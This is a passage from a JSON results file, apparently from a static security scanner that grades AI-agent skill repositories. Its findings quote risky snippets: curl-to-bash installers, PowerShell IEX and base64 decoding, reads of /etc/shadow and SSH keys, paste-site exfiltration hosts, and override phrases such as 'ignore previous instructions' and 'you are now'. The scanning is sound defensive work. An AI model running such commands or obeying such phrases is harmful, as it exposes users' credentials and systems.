"hi": 1, "md": 3, "nf": 118, "cf": 81, "mf": 37, "nh": 15, "f": [ { "k": "exec", "lv": "high", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（5 处）", "n": 5, "ctx": [ "code", "inst" ], "ev": [ { "p": "skills/last30days/SKILL.md", "ln": 724, "ev": "curl -fsSL https://x.ai/cli/install.sh | bash", "ctx": "inst" }, { "p": "skills/last30days/scripts/lib/backends.py", "ln": 303, "ev": "curl -fsSL https://x.ai/cli/install.sh | bash", "ctx": "code" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（5 处）", "n": 5, "ctx": [ "code" ], "ev": [ { "p": "skills/last30days/scripts/last30days.py", "ln": 2555, "ev": "reads from a .env", "ctx": "code" }, { "p": "skills/last30days/scripts/last30days.py", "ln": 2556, "ev": "reads from os.env", "ctx": "code" } ] }, { "k": "network", "lv": "medium", "dim": "exfiltration", "msg": "疑似外传通道（webhook / paste / 即时通讯）（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "CONFIGURATION.md", "ln": 578, "ev": "hooks.slack.com", "ctx": "doc" }, { "p": "CONFIGURATION.md", "ln": 588, "ev": "hooks.slack.com", "ctx": "doc" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "CONFIGURATION.md", "ln": 178, "ev": "curl -fsSL https://x.ai/cli/install.sh | bash", "ctx": "doc" } ] }, { "k": "privacy", "lv": "low", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "CONFIGURATION.md", "ln": 100, "ev": "reads keys from a `.env", "ctx": "doc" }, { "p": "CONFIGURATION.md", "ln": 294, "ev": "ready in `.env", "ctx": "doc" } ] } ], "dom": [ "star-history.dera.page", "agentskills.io", "x.com", "trendshift.io", "host.docker.internal", "reddit.com" ], "nd": 59, "sig": "2526d1167874", "at": "2026-09-15" }, "calesthio/OpenMontage": { "g": "S", "s": 100.0, "note": "仓库体积超限，仅扫根级文档（SKILL.md / README.md）· 覆盖不足，不作等级背书", "hi": 0, "md": 0, "nf": 1, "cf": 0, "mf": 1, "nh": 0, "f": [], "dom": [ "img.shields.io", "star-history.dera.page", "www.youtube.com", "x.com", "bloome.im", "www.atlascloud.ai" ], "nd": 8, "big": 1, "cov": "partial", "at": "2026-09-15" }, "hesreallyhim/awesome-claude-code": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 40, "cf": 29, "mf": 11, "nh": 0, "f": [], "dom": [ "img.shields.io", "github-readme-stats-fork-orpin.vercel.app", "awesome.re", "youtu.be", "www.contributor-covenant.org", "www.linkedin.com" ], "nd": 30, "sig": "7beaf2810dfa", "at": "2026-09-15" }, "VoltAgent/awesome-openclaw-skills": { "g": "S", "s": 94.9, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 33, "cf": 1, "mf": 32, "nh": 4, "f": [ { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "categories/coding-agents-and-ides.md", "ln": 530, "ev": "keychains", "ctx": "doc" }, { "p": "categories/coding-agents-and-ides.md", "ln": 530, "ev": "keychains", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "categories/web-and-frontend-development.md", "ln": 37, "ev": "exec (", "ctx": "doc" } ] }, { "k": "obfusc", "lv": "low", "dim": "obfuscation", "msg": "长 base64 载荷 / 高密度转义串（人工不可读）", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 1256, "ev": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0id2hpdGUiPjxwYXRoIGQ9Ik", "ctx": "doc" } ] } ], "dom": [ "clawskills.sh", "clawhub.ai", "img.shields.io", "cdn.voltagent.dev", "www.clawhub.ai", "awesome.re" ], "nd": 27, "sig": "e602c50a5cd4", "at": "2026-09-15" }, "coreyhaines31/marketingskills": { "g": "S+", "s": 95.8, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 210, "cf": 39, "mf": 171, "nh": 17, "f": [ { "k": "poison", "lv": "medium", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "skills/ads/references/audit-guardrails.md", "ln": 77, "ev": "ignore previous instructions", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（16 处）", "n": 16, "ctx": [ "doc" ], "ev": [ { "p": "VERSIONS.md", "ln": 62, "ev": "eval (", "ctx": "doc" }, { "p": "VERSIONS.md", "ln": 96, "ev": "eval (", "ctx": "doc" } ] } ], "dom": [ "yoursite.com", "apps.apple.com", "agentskills.io", "ai.google.dev", "suganthan.com", "corey.co" ], "nd": 57, "sig": "4a1635d3edfc", "at": "2026-09-15" }, "kepano/obsidian-skills": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 14, "cf": 2, "mf": 12, "nh": 0, "f": [], "dom": [ "help.obsidian.md", "jsoncanvas.org", "stephango.com", "agentskills.io", "platform.claude.com", "obsidian.md" ], "nd": 6, "sig": "c508e300aad3", "at": "2026-09-15" }, "blader/humanizer": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 7, "cf": 4, "mf": 3, "nh": 0, "f": [], "dom": [ "json.schemastore.org", "skills.sh" ], "nd": 2, "sig": "e6130bb0209b", "at": "2026-09-15" }, "Imbad0202/academic-research-skills": { "g": "S", "s": 93.3, "note": "静态扫描未见高危项", "hi": 0, "md": 2, "nf": 113, "cf": 4, "mf": 109, "nh": 17, "f": [ { "k": "poison", "lv": "medium", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令（16 处）", "n": 16, "ctx": [ "doc" ], "ev": [ { "p": "academic-paper-reviewer/agents/devils_advocate_reviewer_agent.md", "ln": 109, "ev": "ignore prior instructions", "ctx": "doc" }, { "p": "academic-paper-reviewer/agents/devils_advocate_reviewer_agent.md", "ln": 111, "ev": "ignore previous instructions", "ctx": "doc" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "QUICKSTART.md", "ln": 9, "ev": "curl -fsSL https://claude.ai/install.sh | bash", "ctx": "doc" } ] } ], "dom": [ "doi.org", "img.shields.io", "arxiv.org", "open.substack.com", "aisnet.org", "buymeacoffee.com" ], "nd": 46, "sig": "4599b0ebae44", "at": "2026-09-15" }, "ayghri/i-have-adhd": { "g": "S+", "s": 97.2, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 42, "cf": 31, "mf": 11, "nh": 1, "f": [ { "k": "poison", "lv": "medium", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "evals/README.md", "ln": 37, "ev": "silently run", "ctx": "doc" } ] } ], "dom": [ "www.schemastore.org", "img.shields.io", "opencode.ai" ], "nd": 3, "sig": "e0bd3f7b4cff", "at": "2026-09-15" }, "K-Dense-AI/scientific-agent-skills": { "g": "S", "s": 99.0, "note": "仓库体积超限，仅扫根级文档（SKILL.md / README.md）· 覆盖不足，不作等级背书", "hi": 0, "md": 0, "nf": 1, "cf": 0, "mf": 1, "nh": 1, "f": [ { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 300, "ev": "curl -LsSf https://astral.sh/uv/install.sh | sh", "ctx": "doc" } ] } ], "dom": [ "www.k-dense.ai", "img.shields.io", "youtu.be", "arxiv.org", "agentskills.io", "agent-plugins.org" ], "nd": 15, "big": 1, "cov": "partial", "at": "2026-09-15" }, "github/awesome-copilot": { "g": "S", "s": 100.0, "note": "仓库体积超限，仅扫根级文档（SKILL.md / README.md）· 覆盖不足，不作等级背书", "hi": 0, "md": 0, "nf": 1, "cf": 0, "mf": 1, "nh": 0, "f": [], "dom": [ "www.linkedin.com", "linktr.ee", "code.visualstudio.com", "img.shields.io", "twitter.com", "www.movinglive.ca" ], "nd": 130, "big": 1, "cov": "partial", "at": "2026-09-15" }, "VoltAgent/awesome-agent-skills": { "g": "S", "s": 99.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 2, "cf": 0, "mf": 2, "nh": 1, "f": [ { "k": "obfusc", "lv": "low", "dim": "obfuscation", "msg": "长 base64 载荷 / 高密度转义串（人工不可读）", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 1855, "ev": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0id2hpdGUiPjxwYXRoIGQ9Ik", "ctx": "doc" } ] } ], "dom": [ "officialskills.sh", "cdn.voltagent.dev", "img.shields.io", "catalog.redhat.com", "modem.dev", "crawlbase.com" ], "nd": 21, "sig": "74f9eb8ec9f8", "at": "2026-09-15" }, "mukul975/Anthropic-Cybersecurity-Skills": { "g": "C", "s": 0.0, "note": "多项高危特征，不建议直接安装", "hi": 5, "md": 7, "nf": 332, "cf": 98, "mf": 234, "nh": 93, "f": [ { "k": "persist", "lv": "high", "dim": "persistence", "msg": "写入开机自启 / 计划任务 / 注册表 Run（17 处）", "n": 17, "ctx": [ "code", "inst" ], "ev": [ { "p": "skills/analyzing-docker-container-forensics/SKILL.md", "ln": 336, "ev": "crontab -", "ctx": "inst" }, { "p": "skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md", "ln": 124, "ev": "crontab -", "ctx": "inst" } ] }, { "k": "exec", "lv": "high", "dim": "dangerous-exec", "msg": "PowerShell 远程表达式执行 / 编码命令（16 处）", "n": 16, "ctx": [ "code", "inst" ], "ev": [ { "p": "skills/analyzing-macro-malware-in-office-documents/SKILL.md", "ln": 327, "ev": "IEX (", "ctx": "inst" }, { "p": "skills/analyzing-powershell-empire-artifacts/SKILL.md", "ln": 3, "ev": "FromBase64String", "ctx": "inst" } ] }, { "k": "privacy", "lv": "high", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链（12 处）", "n": 12, "ctx": [ "code", "inst" ], "ev": [ { "p": "skills/analyzing-docker-container-forensics/SKILL.md", "ln": 236, "ev": "/etc/shadow", "ctx": "inst" }, { "p": "skills/analyzing-docker-container-forensics/scripts/agent.py", "ln": 121, "ev": "/etc/shadow", "ctx": "code" } ] }, { "k": "network", "lv": "high", "dim": "exfiltration", "msg": "疑似外传通道（webhook / paste / 即时通讯）（6 处）", "n": 6, "ctx": [ "code", "inst" ], "ev": [ { "p": "skills/analyzing-browser-forensics-with-hindsight/SKILL.md", "ln": 280, "ev": "pastebin.com", "ctx": "inst" }, { "p": "skills/analyzing-browser-forensics-with-hindsight/SKILL.md", "ln": 282, "ev": "transfer.sh", "ctx": "inst" } ] }, { "k": "poison", "lv": "high", "dim": "prompt-injection", "msg": "疑似系统提示词覆盖/角色重写", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": "skills/assessing-vector-and-embedding-weaknesses/SKILL.md", "ln": 197, "ev": "you are now", "ctx": "inst" } ] }, { "k": "persist", "lv": "medium", "dim": "persistence", "msg": "写入开机自启 / 计划任务 / 注册表 Run（9 处）", "n": 9, "ctx": [ "doc" ], "ev": [ { "p": "skills/analyzing-persistence-mechanisms-in-linux/references/api-reference.md", "ln": 7, "ev": "crontab -", "ctx": "doc" }, { "p": "skills/analyzing-persistence-mechanisms-in-linux/references/api-reference.md", "ln": 10, "ev": "crontab -", "ctx": "doc" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "PowerShell 远程表达式执行 / 编码命令（8 处）", "n": 8, "ctx": [ "doc" ], "ev": [ { "p": "skills/analyzing-powershell-empire-artifacts/references/api-reference.md", "ln": 52, "ev": "FromBase64String", "ctx": "doc" }, { "p": "skills/analyzing-powershell-empire-artifacts/references/api-reference.md", "ln": 53, "ev": "IEX(", "ctx": "doc" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取浏览器配置文件目录（5 处）", "n": 5, "ctx": [ "inst" ], "ev": [ { "p": "skills/abusing-dpapi-for-credential-access/SKILL.md", "ln": 148, "ev": "Google\\Chrome\\User Data", "ctx": "inst" }, { "p": "skills/analyzing-browser-forensics-with-hindsight/SKILL.md", "ln": 56, "ev": "Google\\Chrome\\User Data", "ctx": "inst" } ] } ], "dom": [ "attack.mitre.org", "img.shields.io", "graph.microsoft.com", "www.virustotal.com", "crt.sh", "urlscan.io" ], "nd": 153, "sig": "7de6a7fc6f57", "at": "2026-09-15" }, "virgiliojr94/book-to-skill": { "g": "C", "s": 57.7, "note": "多项高危特征，不建议直接安装", "hi": 1, "md": 1, "nf": 87, "cf": 65, "mf": 22, "nh": 47, "f": [ { "k": "poison", "lv": "high", "dim": "prompt-injection", "msg": "文本层零宽/双向控制字符（隐藏指令载体）（21 处）", "n": 21, "ctx": [ "code" ], "ev": [ { "p": "tests/test_sanitize_bidi_controls.py", "ln": 27, "ev": "‎", "ctx": "code" }, { "p": "tests/test_sanitize_bidi_controls.py", "ln": 28, "ev": "‏", "ctx": "code" } ] }, { "k": "poison", "lv": "medium", "dim": "prompt-injection", "msg": "源码含零宽字符（隐藏指令载体）（21 处）", "n": 21, "ctx": [ "code" ], "ev": [ { "p": "tests/test_sanitize_bidi_controls.py", "ln": 0, "ev": "zero-width x21", "ctx": "code" } ] }, { "k": "obfusc", "lv": "low", "dim": "supply-chain", "msg": "依赖直连外部 URL 安装（可被投毒）（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "docs/index.md", "ln": 87, "ev": "pip install \"book-to-skill[pdf,epub,docx] @ git+https://", "ctx": "doc" }, { "p": "docs/install.md", "ln": 100, "ev": "pip install \"book-to-skill[pdf,epub,docx] @ git+https://", "ctx": "doc" } ] }, { "k": "poison", "lv": "low", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": "tests/test_scan_coverage.py", "ln": 27, "ev": "Ignore all previous instructions", "ctx": "code" }, { "p": "tests/test_scan_generated_skill.py", "ln": 107, "ev": "Ignore previous instructions", "ctx": "code" } ] }, { "k": "poison", "lv": "low", "dim": "prompt-injection", "msg": "疑似系统提示词覆盖/角色重写", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "tests/test_scan_generated_skill.py", "ln": 135, "ev": "You are now", "ctx": "code" } ] } ], "dom": [ "img.shields.io", "trendshift.io", "schemas.openxmlformats.org", "www.idpf.org", "booktoskill.is-a.dev", "calibre-ebook.com" ], "nd": 18, "sig": "d68ffb00ed08", "at": "2026-09-15" }, "zarazhangrui/frontend-slides": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 93, "cf": 6, "mf": 87, "nh": 0, "f": [], "dom": [ "fonts.gstatic.com", "cdn.jsdelivr.net", "vercel.com", "chinese-fonts-cdn.deno.dev", "www.youtube.com", "img.youtube.com" ], "nd": 9, "sig": "e954de2d055a", "at": "2026-09-15" }, "Nutlope/hallmark": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 149, "cf": 20, "mf": 129, "nh": 0, "f": [], "dom": [ "www.usehallmark.com", "annaarteeva.medium.com", "cdn.simpleicons.org", "ai.google.dev", "www.recraft.ai", "www.midjourney.com" ], "nd": 59, "sig": "2bbd06c12a01", "at": "2026-09-15" }, "OthmanAdi/planning-with-files": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 179, "cf": 132, "mf": 47, "nh": 0, "f": [], "dom": [ "manus.im" ], "nd": 1, "sig": "c14cc63d1d60", "at": "2026-09-15" }, "alirezarezvani/claude-skills": { "g": "S", "s": 90.3, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 593, "cf": 33, "mf": 560, "nh": 11, "f": [ { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（4 处）", "n": 4, "ctx": [ "code" ], "ev": [ { "p": ".codex/skills-index.json", "ln": 1038, "ev": "readiness. Use when auditing .env", "ctx": "code" }, { "p": ".gemini/skills-index.json", "ln": 1194, "ev": "readiness. Use when auditing .env", "ctx": "code" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（7 处）", "n": 7, "ctx": [ "doc" ], "ev": [ { "p": "CHANGELOG.md", "ln": 997, "ev": "eval(", "ctx": "doc" }, { "p": "CHANGELOG.md", "ln": 1044, "ev": "exec(", "ctx": "doc" } ] } ], "dom": [ "alirezarezvani.com", "img.shields.io", "platform.claude.com", "docs.mistral.ai", "www.contributor-covenant.org", "alirezarezvani.github.io" ], "nd": 21, "sig": "8c17f06eaec7", "at": "2026-09-15" }, "Donchitos/Claude-Code-Game-Studios": { "g": "A", "s": 82.8, "note": "存在中低风险项，建议装前审读", "hi": 0, "md": 2, "nf": 256, "cf": 15, "mf": 241, "nh": 4, "f": [ { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": ".claude/settings.json", "ln": 29, "ev": "cat *.env", "ctx": "code" }, { "p": ".claude/settings.json", "ln": 31, "ev": "Read(**/.env", "ctx": "code" } ] }, { "k": "persist", "lv": "medium", "dim": "persistence", "msg": "提权 / 关闭系统安全防护", "n": 1, "ctx": [ "code" ], "ev": [ { "p": ".claude/settings.json", "ln": 27, "ev": "chmod 777", "ctx": "code" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": ".claude/skills/security-audit/SKILL.md", "ln": 66, "ev": "eval(", "ctx": "inst" } ] } ], "dom": [ "docs.microsoft.com", "git-scm.com", "gameaccessibilityguidelines.com", "ablegamers.org", "www.playstation.com", "www.color-blindness.com" ], "nd": 9, "sig": "8715f40c9941", "at": "2026-09-15" }, "mksglu/context-mode": { "g": "C", "s": 4.9, "note": "多项高危特征，不建议直接安装", "hi": 2, "md": 6, "nf": 263, "cf": 210, "mf": 53, "nh": 63, "f": [ { "k": "privacy", "lv": "high", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链（3 处）", "n": 3, "ctx": [ "code" ], "ev": [ { "p": "src/security.ts", "ln": 605, "ev": ".ssh/id_rsa", "ctx": "code" }, { "p": "src/security.ts", "ln": 608, "ev": ".ssh/id_rsa", "ctx": "code" } ] }, { "k": "poison", "lv": "high", "dim": "prompt-injection", "msg": "文本层零宽/双向控制字符（隐藏指令载体）", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "src/adapters/pi/mcp-bridge.ts", "ln": 881, "ev": "​", "ctx": "code" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（6 处）", "n": 6, "ctx": [ "code" ], "ev": [ { "p": ".claude/settings.json", "ln": 6, "ev": "Read(.env", "ctx": "code" }, { "p": ".claude/settings.json", "ln": 7, "ev": "Read(**/.env", "ctx": "code" } ] }, { "k": "persist", "lv": "medium", "dim": "persistence", "msg": "提权 / 关闭系统安全防护（3 处）", "n": 3, "ctx": [ "code" ], "ev": [ { "p": "src/security.ts", "ln": 170, "ev": "sudo rm", "ctx": "code" }, { "p": "src/security.ts", "ln": 170, "ev": "sudo rm", "ctx": "code" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "代码内调用 shell 执行", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": ".claude/skills/context-mode-ops/validation.md", "ln": 241, "ev": "spawn(\"command\", { shell: true", "ctx": "inst" } ] }, { "k": "network", "lv": "medium", "dim": "exfiltration", "msg": "向公网裸 IP 发请求（非私网/回环）", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "src/server.ts", "ln": 3011, "ev": "http://169.254.169.254", "ctx": "code" } ] }, { "k": "obfusc", "lv": "medium", "dim": "supply-chain", "msg": "依赖直连外部 URL 安装（可被投毒）", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "package.json", "ln": 101, "ev": "\"postinstall\":", "ctx": "code" } ] }, { "k": "poison", "lv": "medium", "dim": "prompt-injection", "msg": "源码含零宽字符（隐藏指令载体）", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "src/adapters/pi/mcp-bridge.ts", "ln": 0, "ev": "zero-width x1", "ctx": "code" } ] } ], "dom": [ "img.shields.io", "kiro.dev", "context-mode.com", "bun.sh", "docs.openclaw.ai", "registry.npmjs.org" ], "nd": 23, "sig": "cc14c493a29b", "at": "2026-09-15" }, "teng-lin/notebooklm-py": { "g": "S+", "s": 95.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 87, "cf": 10, "mf": 77, "nh": 6, "f": [ { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（4 处）", "n": 4, "ctx": [ "code", "doc" ], "ev": [ { "p": "README.md", "ln": 165, "ev": "curl -LsSf https://astral.sh/uv/install.sh | sh", "ctx": "doc" }, { "p": "desktop-extension/README.md", "ln": 28, "ev": "curl -LsSf https://astral.sh/uv/install.sh | sh", "ctx": "doc" } ] }, { "k": "network", "lv": "low", "dim": "exfiltration", "msg": "向公网裸 IP 发请求（非私网/回环）", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "CHANGELOG.md", "ln": 2188, "ev": "http://169.254.169.254", "ctx": "doc" } ] }, { "k": "persist", "lv": "low", "dim": "persistence", "msg": "改写 shell 启动文件（bashrc / zshrc / profile）", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "docs/cli-reference.md", "ln": 1047, "ev": ">> ~/.bashrc", "ctx": "doc" } ] } ], "dom": [ "teng-lin.github.io", "astral.sh", "notebooklm-mcp", "dns.google", "img.shields.io", "x.com" ], "nd": 33, "sig": "50159b960b72", "at": "2026-09-15" }, "wanshuiyin/Auto-claude-code-research-in-sleep": { "g": "S", "s": 90.3, "note": "静态扫描未见高危项", "hi": 0, "md": 2, "nf": 87, "cf": 15, "mf": 72, "nh": 13, "f": [ { "k": "poison", "lv": "medium", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令（4 处）", "n": 4, "ctx": [ "doc" ], "ev": [ { "p": "docs/tutorials/agent_foundations_tutorial.md", "ln": 480, "ev": "Ignore previous instructions", "ctx": "doc" }, { "p": "docs/tutorials/agent_foundations_tutorial.md", "ln": 968, "ev": "Ignore previous instructions", "ctx": "doc" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "docs/integrations/VAST_GPU_GUIDE.md", "ln": 36, "ev": ".ssh/id_ed25519", "ctx": "doc" }, { "p": "docs/integrations/VAST_GPU_GUIDE_CN.md", "ln": 36, "ev": ".ssh/id_ed25519", "ctx": "doc" } ] }, { "k": "privacy", "lv": "low", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（4 处）", "n": 4, "ctx": [ "doc" ], "ev": [ { "p": "docs/ALI_CODING_PLAN_GUIDE.md", "ln": 230, "ev": "API_KEY=\"your-coding-plan-api-key\"", "ctx": "doc" }, { "p": "docs/CODEX_GEMINI_REVIEW_GUIDE.md", "ln": 44, "ev": "cat > ~/.gemini/.env", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "docs/tutorials/diffusion_distillation_tutorial.md", "ln": 879, "ev": "eval(", "ctx": "doc" }, { "p": "docs/tutorials/diffusion_distillation_tutorial_en.md", "ln": 879, "ev": "eval(", "ctx": "doc" } ] }, { "k": "obfusc", "lv": "low", "dim": "supply-chain", "msg": "依赖直连外部 URL 安装（可被投毒）", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "README_CN.md", "ln": 338, "ev": "pip install deepxiv-sdk`。社区贡献 by [@DreamEnding](https://", "ctx": "doc" } ] } ], "dom": [ "img.shields.io", "arxiv.org", "wanshuiyin.github.io", "openrouter.ai", "www.modelscope.cn", "vast.ai" ], "nd": 47, "sig": "ce13b907f048", "at": "2026-09-15" }, "travisvn/awesome-claude-skills": { "g": "S", "s": 100.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 2, "cf": 0, "mf": 2, "nh": 0, "f": [], "dom": [ "awesome.re", "img.shields.io", "platform.claude.com", "blog.fsck.com", "support.claude.com", "docs.claude.com" ], "nd": 12, "sig": "528f7104049a", "at": "2026-09-15" }, "NevaMind-AI/memU": { "g": "C", "s": 38.7, "note": "多项高危特征，不建议直接安装", "hi": 2, "md": 3, "nf": 226, "cf": 170, "mf": 56, "nh": 80, "f": [ { "k": "privacy", "lv": "high", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链（3 处）", "n": 3, "ctx": [ "code" ], "ev": [ { "p": "src/memu/embedding/http_client.py", "ln": 47, "ev": ".netrc", "ctx": "code" }, { "p": "src/memu/embedding/openai_sdk.py", "ln": 24, "ev": ".netrc", "ctx": "code" } ] }, { "k": "exec", "lv": "high", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "src/memu/hosts/cursor/cli.py", "ln": 59, "ev": "curl https://cursor.com/install -fsSL | bash", "ctx": "code" } ] }, { "k": "persist", "lv": "medium", "dim": "persistence", "msg": "写入开机自启 / 计划任务 / 注册表 Run（36 处）", "n": 36, "ctx": [ "doc" ], "ev": [ { "p": "src/memu/hosts/claude_code/INSTALL.md", "ln": 58, "ev": "crontab -", "ctx": "doc" }, { "p": "src/memu/hosts/claude_code/INSTALL.md", "ln": 59, "ev": "crontab -", "ctx": "doc" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（3 处）", "n": 3, "ctx": [ "code" ], "ev": [ { "p": "src/memu/config_file.py", "ln": 45, "ev": "read from :data:`os.env", "ctx": "code" }, { "p": "src/memu/events.py", "ln": 391, "ev": "Read through :func:`~memu.env.env", "ctx": "code" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "src/memu/hosts/claude_code/INSTALL.md", "ln": 258, "ev": "curl -fsSL https://claude.ai/install.sh | bash", "ctx": "doc" }, { "p": "src/memu/hosts/cursor/INSTALL.md", "ln": 240, "ev": "curl https://cursor.com/install -fsSL | bash", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（23 处）", "n": 23, "ctx": [ "code" ], "ev": [ { "p": "src/memu/database/postgres/repositories/recall_file_repo.py", "ln": 86, "ev": "exec(", "ctx": "code" }, { "p": "src/memu/database/postgres/repositories/recall_file_segment_repo.py", "ln": 93, "ev": "exec(", "ctx": "code" } ] }, { "k": "privacy", "lv": "low", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（8 处）", "n": 8, "ctx": [ "doc" ], "ev": [ { "p": "docs/adr/0017-config-env-as-a-command.md", "ln": 326, "ev": "reads `…\\.memu\\config.env", "ctx": "doc" }, { "p": "src/memu/hosts/claude_code/INSTALL.md", "ln": 545, "ev": "read `~/.memu/config.env", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（3 处）", "n": 3, "ctx": [ "doc" ], "ev": [ { "p": "CONTRIBUTING.md", "ln": 35, "ev": "curl -LsSf https://astral.sh/uv/install.sh | sh", "ctx": "doc" }, { "p": "INSTALL-LATEST.md", "ln": 48, "ev": "curl -LsSf https://astral.sh/uv/install.sh | sh", "ctx": "doc" } ] } ], "dom": [ "memu.so", "api.memu.so", "memu.pro", "example.test", "astral.sh", "x" ], "nd": 31, "sig": "4da4889789d7", "at": "2026-09-15" }, "BehiSecc/awesome-claude-skills": { "g": "S", "s": 100.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 1, "cf": 0, "mf": 1, "nh": 0, "f": [], "dom": [ "www.atlascloud.ai", "clawhub.ai", "arxiv.org", "agentskill.sh", "agentskillshub.top", "www.remoteopenclaw.com" ], "nd": 10, "sig": "6fe13454c2b3", "at": "2026-09-15" }, "openclaw/clawhub": { "g": "C", "s": 3.5, "note": "多项高危特征，不建议直接安装", "hi": 4, "md": 2, "nf": 252, "cf": 86, "mf": 166, "nh": 23, "f": [ { "k": "privacy", "lv": "high", "dim": "credential-access", "msg": 